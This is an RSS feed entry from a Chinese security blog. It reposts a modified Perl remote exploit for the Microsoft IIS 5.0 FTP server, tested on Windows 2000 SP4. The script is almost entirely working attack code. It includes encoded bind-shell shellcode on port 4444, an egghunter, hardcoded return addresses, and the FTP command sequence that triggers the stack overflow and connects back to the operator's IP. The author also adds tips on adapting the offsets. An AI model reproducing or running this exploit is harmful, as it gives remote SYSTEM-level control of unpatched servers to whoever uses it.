<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; FTP</title>
	<atom:link href="http://www.4shell.org/archives/tag/ftp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</title>
		<link>http://www.4shell.org/archives/1103.html</link>
		<comments>http://www.4shell.org/archives/1103.html#comments</comments>
		<pubDate>Sun, 20 Sep 2009 13:29:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[IIS]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1103.html</guid>
		<description><![CDATA[绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。 #!/usr/bin/perl # IIS 5.0 FTP Server / Remote SYSTEM exploit # Win2k SP4 targets # bug found &#038; exploited by Kingcope, kcope2googlemail.com # Affects IIS6 with stack cookie protection # Modded by muts, additional egghunter added for secondary larger payload # Might take a minute or two for the [...]]]></description>
			<content:encoded><![CDATA[<p>绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。</p>
<p><span id="more-1103"></span></p>
<blockquote><p>
#!/usr/bin/perl<br />
# IIS 5.0 FTP Server / Remote SYSTEM exploit<br />
# Win2k SP4 targets<br />
# bug found &#038; exploited by Kingcope, kcope2<at>googlemail.com<br />
# Affects IIS6 with stack cookie protection<br />
# Modded by muts, additional egghunter added for secondary larger payload<br />
# Might take a minute or two for the egg to be found.<br />
# Opens bind shell on port 4444</p>
<p># http://www.offensive-security.com/0day/msftp.pl.txt</p>
<p>use IO::Socket;<br />
$|=1;<br />
$sc = "\x89\xe2\xdd\xc5\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x43" .<br />
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" .<br />
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" .<br />
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" .<br />
"\x50\x38\x41\x43\x4a\x4a\x49\x45\x36\x4d\x51\x48\x4a\x4b\x4f" .<br />
"\x44\x4f\x47\x32\x46\x32\x42\x4a\x43\x32\x46\x38\x48\x4d\x46" .<br />
"\x4e\x47\x4c\x45\x55\x51\x4a\x44\x34\x4a\x4f\x48\x38\x46\x34" .<br />
"\x50\x30\x46\x50\x50\x57\x4c\x4b\x4b\x4a\x4e\x4f\x44\x35\x4a" .<br />
"\x4a\x4e\x4f\x43\x45\x4b\x57\x4b\x4f\x4d\x37\x41\x41";<br />
# ./msfpayload windows/shell_bind_tcp R |  ./msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"</p>
<p>$shell="T00WT00W" ."\xda\xde\xbd\x2d\xe7\x9b\x9f\x2b\xc9\xb1\x56\xd9\x74\x24\xf4" .<br />
"\x5a\x83\xea\xfc\x31\x6a\x15\x03\x6a\x15\xcf\x12\x67\x77\x86" .<br />
"\xdd\x98\x88\xf8\x54\x7d\xb9\x2a\x02\xf5\xe8\xfa\x40\x5b\x01" .<br />
"\x71\x04\x48\x92\xf7\x81\x7f\x13\xbd\xf7\x4e\xa4\x70\x38\x1c" .<br />
"\x66\x13\xc4\x5f\xbb\xf3\xf5\xaf\xce\xf2\x32\xcd\x21\xa6\xeb" .<br />
"\x99\x90\x56\x9f\xdc\x28\x57\x4f\x6b\x10\x2f\xea\xac\xe5\x85" .<br />
"\xf5\xfc\x56\x92\xbe\xe4\xdd\xfc\x1e\x14\x31\x1f\x62\x5f\x3e" .<br />
"\xeb\x10\x5e\x96\x22\xd8\x50\xd6\xe8\xe7\x5c\xdb\xf1\x20\x5a" .<br />
"\x04\x84\x5a\x98\xb9\x9e\x98\xe2\x65\x2b\x3d\x44\xed\x8b\xe5" .<br />
"\x74\x22\x4d\x6d\x7a\x8f\x1a\x29\x9f\x0e\xcf\x41\x9b\x9b\xee" .<br />
"\x85\x2d\xdf\xd4\x01\x75\xbb\x75\x13\xd3\x6a\x8a\x43\xbb\xd3" .<br />
"\x2e\x0f\x2e\x07\x48\x52\x27\xe4\x66\x6d\xb7\x62\xf1\x1e\x85" .<br />
"\x2d\xa9\x88\xa5\xa6\x77\x4e\xc9\x9c\xcf\xc0\x34\x1f\x2f\xc8" .<br />
"\xf2\x4b\x7f\x62\xd2\xf3\x14\x72\xdb\x21\xba\x22\x73\x9a\x7a" .<br />
"\x93\x33\x4a\x12\xf9\xbb\xb5\x02\x02\x16\xc0\x05\xcc\x42\x80" .<br />
"\xe1\x2d\x75\x36\xad\xb8\x93\x52\x5d\xed\x0c\xcb\x9f\xca\x84" .<br />
"\x6c\xe0\x38\xb9\x25\x76\x74\xd7\xf2\x79\x85\xfd\x50\xd6\x2d" .<br />
"\x96\x22\x34\xea\x87\x34\x11\x5a\xc1\x0c\xf1\x10\xbf\xdf\x60" .<br />
"\x24\xea\x88\x01\xb7\x71\x49\x4c\xa4\x2d\x1e\x19\x1a\x24\xca" .<br />
"\xb7\x05\x9e\xe9\x4a\xd3\xd9\xaa\x90\x20\xe7\x33\x55\x1c\xc3" .<br />
"\x23\xa3\x9d\x4f\x10\x7b\xc8\x19\xce\x3d\xa2\xeb\xb8\x97\x19" .<br />
"\xa2\x2c\x6e\x52\x75\x2b\x6f\xbf\x03\xd3\xc1\x16\x52\xeb\xed" .<br />
"\xfe\x52\x94\x10\x9f\x9d\x4f\x91\xbf\x7f\x5a\xef\x57\x26\x0f" .<br />
"\x52\x3a\xd9\xe5\x90\x43\x5a\x0c\x68\xb0\x42\x65\x6d\xfc\xc4" .<br />
"\x95\x1f\x6d\xa1\x99\x8c\x8e\xe0\x90";</p>
<p>print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";<br />
if ($#ARGV ne 1) {<br />
print "usage: iiz5.pl <target> <your local ip>\n";<br />
exit(0);<br />
}<br />
srand(time());<br />
$port = int(rand(31337-1022)) + 1025;<br />
$locip = $ARGV[1];<br />
$locip =~ s/\./,/gi;<br />
if (fork()) {<br />
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],<br />
                              PeerPort => '21',<br />
                              Proto    => 'tcp'); </p>
<p># 自行修改以下两个地址以增强通用性, 此俩地址在我机器上测试成功<br />
$patch = "\x7e\xd1\xf9\x7f";<br />
$retaddr = "\x9B\xB1\xF4\x77";</p>
<p># 你可以使用wordexp的这两个跳转地址<br />
#$patch = "\x90\x80\xb7\x6f";<br />
#$retaddr = "\xcd\x60\xb6\x6f";</p>
<p># 这里也修改了, 多加了两个"K", 因为$myfindsc中<br />
# 用了"repne scasd[edi]"指令来查找Shellcode, 多<br />
# 加两个"K"使其四字节对齐, 否则会找不到（通用性？）<br />
$v = "KKKSEXY" . $sc . "V" x (500-length($sc)-5); </p>
<p># 溢出时堆栈的基本状况<br />
#     |0          |104     | 108   |112       |164     |168    |172     |176<br />
#$c = "A" x 104 . $patch . $patch. "A" x 52 . $patch . "AAAA". $retaddr .$patch."Aa4Aa5Aa6Aa7Aa8Aa9Ab";</p>
<p>#<br />
#void myfindsc()<br />
#{<br />
#    __asm<br />
#    {<br />
#        int 3;<br />
#start:<br />
#        MOV EDX,ESP;<br />
#        FCMOVNBE ST,ST(2);<br />
#        _emit 0xd9;<br />
#        _emit 0x72;<br />
#        _emit 0xf4; FSTENV [edx-0Ch]<br />
#        POP EBP;<br />
#        PUSH EBP;<br />
#        POP EBX;<br />
#        PUSH 76h;<br />
#        POP EAX;<br />
#xorsc:<br />
#        XOR BYTE PTR DS:[EBX+28h],AL; patch "decode" 的0xff<br />
#findsc:<br />
#        MOV EAX,66666666h;<br />
#        SUB EAX,66566666h;<br />
#        PUSH EAX;<br />
#        POP EDI;<br />
#        PUSH 21212121h;<br />
#        POP ECX;<br />
#        MOV EAX,59584553h;<br />
#        REPNE SCAS DWORD PTR ES:[EDI];<br />
#decode:<br />
#        _emit 0x89;<br />
#        _emit 0xE7; JMP EDI<br />
#    }<br />
#}<br />
#<br />
#<br />
#void main()<br />
#{<br />
#    myfindsc();<br />
#}<br />
#</p>
<p># 修改用于定位Shellcode的代码, 由于该代码需要调<br />
# 用call或者jmp等指令以跳转到Shellcode的地方, 此<br />
# 类指令包含了0xff, 会被IIS过滤, 所以这里采用了自<br />
# 修改的形式将0xff patch掉. 本来想要alpha2加密,<br />
# 但是加密后内容太长.<br />
$myfindsc =<br />
"\x8b\xd4\xdb\xd2\xd9\x72\xf4\x5d\x55\x5b\x6a\x76\x58".<br />
"\x30\x43\x27\xb8\x66\x66\x66\x66\x2d\x66\x66\x5F\x66".<br />
"\x50\x5f\x68\x21\x21\x21\x21\x59\xb8\x53\x45\x58\x59".<br />
"\xf2\xaf\x89\xe7";</p>
<p>$c = $myfindsc . "A" x (104 - length($myfindsc)) .<br />
    $patch . $patch. "\xEB\x8E\x44\x44"."A" x 48 .<br />
#                     |< -- 第二次跳转: 到这里后最终跳到$myfindsc<br />
    $patch . "AAAA". $retaddr . $patch . "A" x 16 ."\xE2\xAA"."NN";<br />
#                                                  |<-- 第一次跳转: 函数返回以后经过跳转来到这里, 但是$myfindsc太远, 就又跳了一次</p>
<p>$x = <$sock>;<br />
print $x;<br />
print $sock "USER anonimoos\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS $shell\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "USER anonimoos\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS $shell\r\n";<br />
$x = < $sock>;<br />
print $x; </p>
<p>print $sock "USER anonymous\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PASS anonymous\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "MKD w00t$port\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "SITE $v\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "CWD w00t$port\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "MKD CCCC". "$c\r\n"; # 这里也被修改了, 多加了个C, 用于4字节对齐<br />
$x = < $sock>;<br />
print $x;<br />
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
# TRIGGER<br />
print $sock "NLST $c*/../C*/\r\n";<br />
$x = < $sock>;<br />
print $x;<br />
} else {<br />
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);<br />
die "Could not create socket: $!\n" unless $servsock;<br />
my $new_sock = $servsock->accept();<br />
while(< $new_sock>) {<br />
print $_;<br />
}<br />
close($servsock);<br />
}<br />
#Cheerio,<br />
#<br />
#Kingcope<br />
</your></target></at></p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1928.html" title="简单配置 IIS6 + FastCGI 高效运行PHP">简单配置 IIS6 + FastCGI 高效运行PHP</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2010年04月15日 -- <a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li><li>2009年09月21日 -- <a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1103.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

